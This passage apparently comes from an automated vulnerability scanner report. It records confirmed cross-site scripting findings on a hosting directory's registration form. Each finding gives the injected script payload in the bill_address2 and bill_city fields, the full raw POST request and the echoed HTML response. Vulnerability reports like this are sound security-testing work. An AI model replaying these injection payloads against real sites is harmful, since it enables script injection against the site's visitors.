</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST '"--></style></script><script>alert(0x001C8B)</script>
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001C8B)%3c%2fscript%3e&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:49:08 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='C4C0A65D598D2DD561633E961CA535E2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='C4C0A65D598D2DD58007CB78A1508C6C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='C4C0A65D598D2DD5B32ABC846D0721DEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD507C069721C4F6B1EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='C4C0A65D598D2DD5027851C7F08123226F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='C4C0A65D598D2DD5B09EAA837E27E99EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='C4C0A65D598D2DD5742719EDAD786DC7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='C4C0A65D598D2DD55AFECC08033DB5786F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='C4C0A65D598D2DD53B29D7BBAB1733C6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='C4C0A65D598D2DD52EA967E23EBBD4466F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='C4C0A65D598D2DD5AC0BFE0DBDFAA9A4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='C4C0A65D598D2DD5BD2029E73F9E5876C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='C4C0A65D598D2DD5EFF17B654D025DC6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD5CDEA560061B0829FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='C4C0A65D598D2DD5066E5BCD08C1ABBEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='C4C0A65D598D2DD5E0063667896BB485C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='C4C0A65D598D2DD520FD4F283531601E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='C4C0A65D598D2DD558A79A40CE7B1E206F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='C4C0A65D598D2DD52FB1540BE1D9489A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST '"--></style></script><script>alert(0x001C8C)</script>
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001C8C)%3c%2fscript%3e&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:49:10 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='C4C0A65D598D2DD56A42EE258E27DBF4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='C4C0A65D598D2DD553350E39F5C3FF4F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='C4C0A65D598D2DD5879E0C94D1E1B902C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD5D8306C36C1EDF63FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='C4C0A65D598D2DD58E0D7123207F3FA06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='C4C0A65D598D2DD5D36EF79BE273BEBAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='C4C0A65D598D2DD5E0B5437FC526E3C4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='C4C0A65D598D2DD5CC5AB44B95D0AA1E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='C4C0A65D598D2DD5F8323D2DEEED2CCAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='C4C0A65D598D2DD575CD4269EDEBB0476F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='C4C0A65D598D2DD5E82D68B80B7AF4A0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='C4C0A65D598D2DD5D4B9F38B1208FDD9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='C4C0A65D598D2DD5DC39805B456A5EA8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD52925233F916AB3F6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='C4C0A65D598D2DD5A12ED03E2C40726CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='C4C0A65D598D2DD546D2184E127D9F8DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='C4C0A65D598D2DD55C4B3820F4CEDA996F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='C4C0A65D598D2DD57930791D788C01156F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='C4C0A65D598D2DD5EB30E11CEC9A87AF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
